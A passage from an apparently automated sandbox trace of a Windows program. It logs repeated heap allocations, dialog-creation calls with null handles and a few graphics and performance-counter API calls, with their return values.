hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.736] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.736] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.736] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.736] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.736] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.736] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.736] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.736] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.737] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.737] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.737] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.737] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.737] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.737] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.737] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.737] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.738] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.738] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.738] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.739] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.739] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.739] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.739] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.739] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.739] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.739] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.739] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.739] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.739] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.739] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.739] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.739] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193386453, cy=27, fuLoad=0x0) returned 0x0 [0026.739] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.740] GetLastError () returned 0x715 [0026.740] SetLastError (dwErrCode=0x715) [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.740] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.740] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.740] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.740] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.740] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.740] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.741] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.741] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.741] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.741] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.741] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.741] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.741] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.741] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.742] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.742] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.742] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.742] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.742] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.742] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.742] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.742] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.743] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.743] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.743] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.743] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.743] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.743] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.743] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.743] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.743] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.743] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.743] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193367508, cy=27, fuLoad=0x0) returned 0x0 [0026.743] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.744] GetLastError () returned 0x715 [0026.744] SetLastError (dwErrCode=0x715) [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.744] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.744] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.744] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.744] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 